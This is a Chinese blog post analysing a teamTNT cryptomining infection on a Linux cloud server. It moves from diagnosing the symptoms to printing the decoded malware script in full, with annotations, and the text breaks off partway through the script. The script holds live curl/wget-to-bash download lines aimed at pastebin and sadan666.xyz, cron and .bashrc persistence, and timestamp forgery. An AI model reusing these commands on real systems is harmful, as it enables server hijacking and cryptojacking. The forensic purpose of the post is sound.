分析teamTNT团队Linux挖矿木马执行过程与防范
公司需要扩展海外业务,需要有一台海外云服务器。当我们把应用部署上去时的第二天所有应用down掉了,然后发现ssh连接服务器特别慢。好不容易连接上了执行一下free -h
发现内存占用99%,反手一个top,等了大约2分钟出来结果。
问题排查
- 查看当前内存:
free -h
发现内存占用几乎达到98%。 - 查看当前进程:
top
等了大约2分钟出来结果。竟然有7000多个tasks,load average: 459.78, 584.52, 387.07
,这明显很不正常。PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 5014 root 20 0 2902048 8396 840 S 330.7 0.1 16:39.43 JavaUpdates 9703 root 20 0 592780 38668 9256 R 15.2 0.5 0:00.93 yum 9713 root 20 0 354280 25028 8268 S 15.2 0.3 0:00.46 yum 7606 root 20 0 10.0g 968 812 S 9.9 0.0 0:03.78 pnscan 7515 root 20 0 10.0g 968 812 S 9.6 0.0 0:02.08 pnscan 601 root 20 0 90568 3152 2284 S 1.7 0.0 7:28.37 rngd
- 发现有一个进程特别耗CPU:
JavaUpdates
- 用
ps aux | grep 'JavaUpdates'
查一下这个进程,没有发现执行程序路径。[gree@greepd ~]$ ps aux | grep 'JavaUpdates' root 5014 184 0.1 2902048 8396 ? Ssl 01:39 52:39 ./JavaUpdates
- 用
ps lax
或ps lax | grep 'JavaUpdates'
(注:命令结果只展示关键内容) 我们可以发现有个进程特别可疑。会去https://pastebin.com/raw/1eDKHr4r
下载东西并执行,那我们顺腾摸瓜看看到底下载了什么。[gree@greepd ~]$ ps lax F UID PID PPID PRI NI VSZ RSS WCHAN STAT TTY TIME COMMAND 5 0 1636 634 20 0 220544 3632 pipe_w S ? 0:00 /usr/sbin/CROND -n 0 0 1649 1636 20 0 113284 1200 do_wai Ss ? 0:00 /bin/sh -c (curl -fsSL https://pastebin.com/raw/1eDKHr4r||wget -q -O- https://pastebin.com/raw/1eDKHr4r 5 0 5014 1 20 0 2902048 8396 ep_pol Ssl ? 55:29 ./JavaUpdates
木马脚本分析
-
首先看看访问的这个
https://pastebin.com/raw/1eDKHr4r
链接有什么(curl -fsSL https://pastebin.com/raw/UhUmR517||wget -q -O - https://pastebin.com/raw/UhUmR517||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/UhUmR517").read()')|base64 -d|bash
-
发现又去
https://pastebin.com/raw/UhUmR517
下载东西并执行,这个文本是base64编码的。怕源链接失效,大家可以去这里下载我上传的链接内容:https://documents.hubaoquan.cn/UhUmR517.txt -
解码之后是如下脚本,里边#号后边是我的注释
#!/bin/bash SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin house=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3LzFlREtIcjRy|base64 -d) #decode-->https://pastebin.com/raw/1eDKHr4r # https://documents.hubaoquan.cn/1eDKHr4r.txt park=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2I1eDFwUnpL|base64 -d) #decode-->https://pastebin.com/raw/b5x1pRzK # https://documents.hubaoquan.cn/b5x1pRzK.txt beam=$(echo c2FkYW42NjYueHl6OjkwODAvcnI=|base64 -d) #decode-->sadan666.xyz:9080/rr #404 deep=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L1NqaldldlRz|base64 -d) #decode-->https://pastebin.com/raw/SjjWevTs # dragon surf=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L3R5am5UUVRB|base64 -d) #decode-->https://pastebin.com/raw/tyjnTQTA # lossl me=$( whoami ) function getarch() { ver="x86_64" arch=$(uname -m) arch2=$(uname -i) arch3=$(getconf LONG_BIT) if [ "$arch" == "x86_64" ]; then ver="x86_64" elif [ "$arch" == "i686" ]; then ver="i686" elif [ "$arch2" == "x86_64" ]; then ver="x86_64" elif [ "$arch2" == "i386" ]; then ver="i686" elif [ "$arch3" == "64" ]; then ver="x86_64" else ver="x86_64" fi echo $ver } ARCH=$(getarch) function system() { chattr -i /etc/crontab rm -rf /bin/httpntp /bin/ftpsdns sed -i '/httpntp/d' /etc/crontab sed -i '/ftpsdns/d' /etc/crontab echo -e "(curl -fsSLk $beam||wget -q -O - $beam --no-check-certificate -t 2 -T 60)|bash\n##" > /bin/httpntp chmod 755 /bin/httpntp if [ ! -f "/etc/crontab" ]; then echo -e "SHELL=/bin/sh\nPATH=/sbin:/bin:/usr/sbin:/usr/bin\nMAILTO=root\nHOME=/\n# run-parts\n01 * * * * root run-parts /etc/cron.hourly\n02 4 * * * root run-parts /etc/cron.daily\n0 1 * * * root /bin/httpntp\n##" >> /etc/crontab else echo -e "0 1 * * * root /bin/httpntp" >> /etc/crontab fi echo -e "(curl -fsSLk $beam||wget -q -O - $beam --no-check-certificate -t 2 -T 60)|bash\n##" > /bin/ftpsdns chmod 755 /bin/ftpsdns if [ ! -f "/etc/crontab" ]; then echo -e "SHELL=/bin/sh\nPATH=/sbin:/bin:/usr/sbin:/usr/bin\nMAILTO=root\nHOME=/\n# run-parts\n01 * * * * root run-parts /etc/cron.hourly\n02 4 * * * root run-parts /etc/cron.daily\n5 1 * * * root /bin/ftpsdns\n##" >> /etc/crontab else echo -e "5 1 * * * root /bin/ftpsdns" >> /etc/crontab fi touch -acmr /bin/sh /etc/crontab } function cronhigh() { chattr -i /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root rm -rf /etc/cron.hourly/oanacroane /etc/cron.daily/oanacroane /etc/cron.monthly/oanacroane mkdir -p /var/spool/cron/crontabs mkdir -p /etc/cron.hourly mkdir -p /etc/cron.daily mkdir -p /etc/cron.monthly sed -i '/pastebin.com/d' /etc/cron.d/root && sed -i '/##/d' /etc/cron.d/root sed -i '/pastebin.com/d' /etc/cron.d/apache && sed -i '/##/d' /etc/cron.d/apache sed -i '/pastebin.com/d' /etc/cron.d/system && sed -i '/##/d' /etc/cron.d/system sed -i '/pastebin.com/d' /var/spool/cron/crontabs/root && sed -i '/##/d' /var/spool/cron/crontabs/root sed -i '/pastebin.com/d' /var/spool/cron/root && sed -i '/##/d' /var/spool/cron/root key=$( (curl -fsSL $house||wget -q -O - $house) ) echo -e "*/3 * * * * root (curl -fsSL $house||wget -q -O- $house||curl -fsSL $park||wget -q -O - $park||curl -fsSLk $beam||wget -q -O - $beam --no-check-certificate -t 2 -T 60)|bash\n##" >> /etc/cron.d/root echo -e "*/6 * * * * root (curl -fsSL $house||wget -q -O- $house||curl -fsSL $park||wget -q -O - $park||curl -fsSLk $beam||wget -q -O - $beam --no-check-certificate -t 2 -T 60)|bash\n##" >> /etc/cron.d/system echo -e "*/7 * * * * root (curl -fsSL $house||wget -q -O- $house||curl -fsSL $park||wget -q -O - $park||curl -fsSLk $beam||wget -q -O - $beam --no-check-certificate -t 2 -T 60)|bash\n##" >> /etc/cron.d/apache echo -e "*/9 * * * * (curl -fsSL $house||wget -q -O- $house||curl -fsSL $park||wget -q -O - $park||curl -fsSLk $beam||wget -q -O - $beam --no-check-certificate -t 2 -T 60)|bash\n##" >> /var/spool/cron/root echo -e "*/11 * * * * (curl -fsSL $house||wget -q -O- $house||curl -fsSL $park||wget -q -O - $park||curl -fsSLk $beam||wget -q -O - $beam --no-check-certificate -t 2 -T 60)|bash\n##" >> /var/spool/cron/crontabs/root if [ ! -f "/etc/cron.hourly/oanacroane" ]; then echo $key > /etc/cron.hourly/oanacroane && chmod 755 /etc/cron.hourly/oanacroane fi if [ ! -f "/etc/cron.daily/oanacroane" ]; then echo $key > /etc/cron.daily/oanacroane && chmod 755 /etc/cron.daily/oanacroane fi if [ ! -f "/etc/cron.monthly/oanacroane" ]; then echo $key > /etc/cron.monthly/oanacroane && chmod 755 /etc/cron.monthly/oanacroane fi touch -acmr /bin/sh /var/spool/cron/root touch -acmr /bin/sh /var/spool/cron/crontabs/root touch -acmr /bin/sh /etc/cron.d/system touch -acmr /bin/sh /etc/cron.d/apache touch -acmr /bin/sh /etc/cron.d/root touch -acmr /bin/sh /etc/cron.hourly/oanacroane touch -acmr /bin/sh /etc/cron.daily/oanacroane touch -acmr /bin/sh /etc/cron.monthly/oanacroane } function cronlow() { cr=$(crontab -l | grep "$house" | wc -l) if [ ${cr} -eq 0 ];then crontab -r (crontab -l 2>/dev/null; echo "*/10 * * * * (curl -fsSL $house||wget -q -O- $house||curl -fsSL $park||wget -q -O - $park||curl -fsSLk $beam -m 90||wget -q -O - $beam --no-check-certificate -t 2 -T 60)|bash > /dev/null 2>&1")| crontab - else echo " " fi } function cronbackup() { pay="(curl -fsSLk $beam -m 90||wget -q -O - $beam --no-check-certificate -t 2 -T 60||curl -fsSL $house||wget -q -O- $house)|bash" status=0 crona=$(systemctl is-active cron) cronb=$(systemctl is-active crond) cronatd=$(systemctl is-active atd) if [ "$crona" == "active" ] ; then status=0 elif [ "$cronb" == "active" ]; then status=0 elif [ "$cronatd" == "active" ] ; then status=1 else status=2 fi if [ $status -eq 1 ] ; then for a in $(at -l|awk '{print $1}'); do at -r $a; done echo "$pay" | at -m now + 1 minute fi if [ $status -eq 2 ] || [ "$me" != "root" ] ;then amiup=$(ps -fe|grep 'crun'|grep -v grep|wc -l) if [ ${amiup} -ne 0 ] ; then ps auxf|grep -v grep|grep "crun" | awk '{print $2}'|xargs kill -9 fi key="while true; do sleep 600 && $pay; done" echo -e "$key\n##" > /tmp/crun && chmod 777 /tmp/crun && cd /tmp/ nohup ./crun >/dev/null 2>&1 & sleep 15 rm /tmp/crun fi } function cronrc() { if [ "$me" != "root" ];then cron_rc_path="/home/$me/.bashrc" pay_rc="(curl -fsSLk $beam -m 90||wget -q -O - $beam --no-check-certificate -t 2 -T 60||curl -fsSL $house||wget -q -O- $house)|bash" else cron_rc_path="/root/.bashrc" pay_rc="sed -i '/pastebin.com/d' /etc/hosts;(curl -fsSLk $beam -m 90||wget -q -O - $beam --no-check-certificate -t 2 -T 60||curl -fsSL $house||wget -q -O- $house)|bash" fi if [ -f "$cron_rc_path" ]; then sed -i '/pastebin.com/d' $cron_rc_path sed -i '/loaded_JavaUpdates_rc/d' $cron_rc_path echo -e "$pay_rc\n##loaded_JavaUpdates_rc" >> $cron_rc_path fi } function gettarfile() { temp_path="/tmp/.tmpdropoff" build_string="/tmp/.tmpdropoff/JavaUpdates" if [ "$3" == "-xzf" ]